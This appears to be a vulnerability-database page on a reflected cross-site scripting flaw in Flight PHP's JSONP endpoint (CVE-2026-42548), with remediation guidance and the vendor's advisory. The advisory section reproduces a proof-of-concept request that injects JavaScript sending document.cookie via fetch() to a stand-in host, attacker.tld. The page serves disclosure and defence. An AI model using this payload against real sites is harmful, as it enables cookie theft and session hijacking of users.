Flight PHP CVE-2026-42548
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker identifies JSONP endpoint
-
DeliveryCrafts malicious callback parameter
-
ExploitEmbeds vulnerable URL in attacker-controlled page
-
InstallVictim visits attacker page
-
C2Browser loads JSONP endpoint as script
-
ExecuteInjected JavaScript executes in victim origin
-
ImpactAttacker exfiltrates cookies/session tokens
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the target Flight PHP application to implement JSONP endpoints using the |
| Impact | Real-world risk is moderate despite the absence of CVSS scoring. The attack requires victim interaction (loading a malicious page that embeds the vulnerable JSONP endpoint via script tag), indicating medium attack complexity. However, exploitation is straightforward with a publicly available proof-of-concept demonstrating cookie theft via |
| Exploit ScenarioDerived | An attacker identifies a Flight PHP application exposing a JSONP endpoint at |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 06, 2026
Reflected cross-site scripting in Flight PHP framework's JSONP endpoint implementation allows remote attackers to execute arbitrary JavaScript in victim browsers by injecting malicious code through unvalidated callback parameters. Flight PHP versions prior to 3.18.1 concatenate user-supplied jsonp query parameters directly into JavaScript responses without identifier validation, enabling cookie theft and session hijacking when vulnerable endpoints are embedded via script tags. The vulnerability was patched in version 3.18.1 (commit b8dd23a) with regex validation limiting callbacks to legal JavaScript identifiers. A working proof-of-concept demonstrates cookie exfiltration via crafted callback parameters.
RemediationAI
Upgrade to Flight PHP version 3.18.1 or later, which implements callback name validation using the regex pattern ^[A-Za-z_$][\w$.]{0,127}$ to ensure only legal JavaScript identifiers are accepted. The patch is available via composer update or directly from the GitHub repository at commit b8dd23a (https://github.com/flightphp/core/security/advisories/GHSA-fcx8-ph5r-mxr4). If immediate upgrade is not feasible, implement a temporary workaround by wrapping all Flight::jsonp() calls with custom validation logic that rejects callback parameters containing characters outside the set [A-Za-z0-9_$.] or exceeding 128 characters, though this adds maintenance overhead and may not match the vendor's exact validation logic. Alternatively, disable JSONP endpoints entirely if they are not actively used by legacy clients, replacing them with modern CORS-enabled JSON endpoints that eliminate the injection vector entirely; note that this requires client-side code changes to handle standard JSON responses instead of script-tag loading. For defense in depth, set HttpOnly and SameSite=Strict flags on session cookies to limit the impact of successful XSS exploitation, though this does not prevent exfiltration of authenticated API data or DOM-based attacks.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the Flight PHP micro-framework's JSONP (JSON with Padding) implementation, specifically in the _jsonp() method within flight/Engine.php. JSONP is a legacy cross-domain communication technique that wraps JSON responses in a JavaScript function callback, served with application/javascript content type to bypass same-origin policy. The flaw is a classic example of CWE-79 (Improper Neutralization of Input During Web Page Generation) where the framework extracts the callback name from the jsonp query parameter via $this->request()->query[$param] and directly concatenates it into the response body as $callback . '(' . $json . ');' without any validation that the value is a legal JavaScript identifier. This string concatenation approach creates an injection point where semicolons, function definitions, and comment delimiters can be used to break out of the intended callback structure and inject arbitrary JavaScript code that executes when the response is loaded as a script resource.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N
Primary rating from Vendor (https://github.com/flightphp/core) · only source for this CVE.
CVSS VectorVendor: https://github.com/flightphp/core
Lifecycle Timeline
2DescriptionCVE.org
Summary
Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.
Affected code
flight/Engine.php (≈ lines 1000-1013):
$callback = $this->request()->query[$param];
$this->response()
->status($code)
->header('Content-Type', 'application/javascript; charset=' . $charset)
->write($callback . '(' . $json . ');');No regex or identifier validation is performed before the callback is written.
Proof of concept
Given any route that calls Flight::jsonp($data):
GET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//Reproduced response (Content-Type: application/javascript):
;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({"ok":true,"msg":"hello"});When the vulnerable endpoint is loaded via <script src="https://victim.tld/api?jsonp=…"> on a page controlled by the attacker, the injected JavaScript executes in the victim.tld origin whenever that page is embedded or visited in a same-origin context - cookie theft and session hijack follow.
Impact
- Reflected XSS in any application calling
Flight::jsonp(). - Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.
- Exfiltration of authenticated API responses.
Patch (fixed in 3.18.1, commit b8dd23a)
_jsonp() now validates the callback name against ^[A-Za-z_$][\w$.]{0,127}$ before emitting it. An empty callback (no jsonp parameter) still behaves as before.
Credit
Discovered by @Rootingg.
Executive ViewAI
Flight PHP framework versions prior to 3.18.1 contain a reflected cross-site scripting vulnerability in JSONP endpoints that allows attackers to execute arbitrary JavaScript and steal user session cookies without authentication. Organizations using Flight PHP should immediately inventory affected versions, as this vulnerability directly enables account takeover and session hijacking through malicious links sent to users.
If immediate upgrade to Flight PHP 3.18.1 is not possible: (1) Disable or restrict access to JSONP endpoints if business functionality permits; (2) Implement web application firewall rules rejecting callback parameters containing special characters outside [a-zA-Z0-9_$] ranges; (3) Set HttpOnly and Secure flags on session cookies to prevent JavaScript access; (4) Deploy Content Security Policy headers prohibiting inline script execution; (5) Monitor for callback parameters matching the POC pattern in access logs. Apply vendor patch to Flight PHP 3.18.1 at earliest opportunity.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
GHSA-fcx8-ph5r-mxr4
NVD
CVE.org
EPSS
Exploit-DB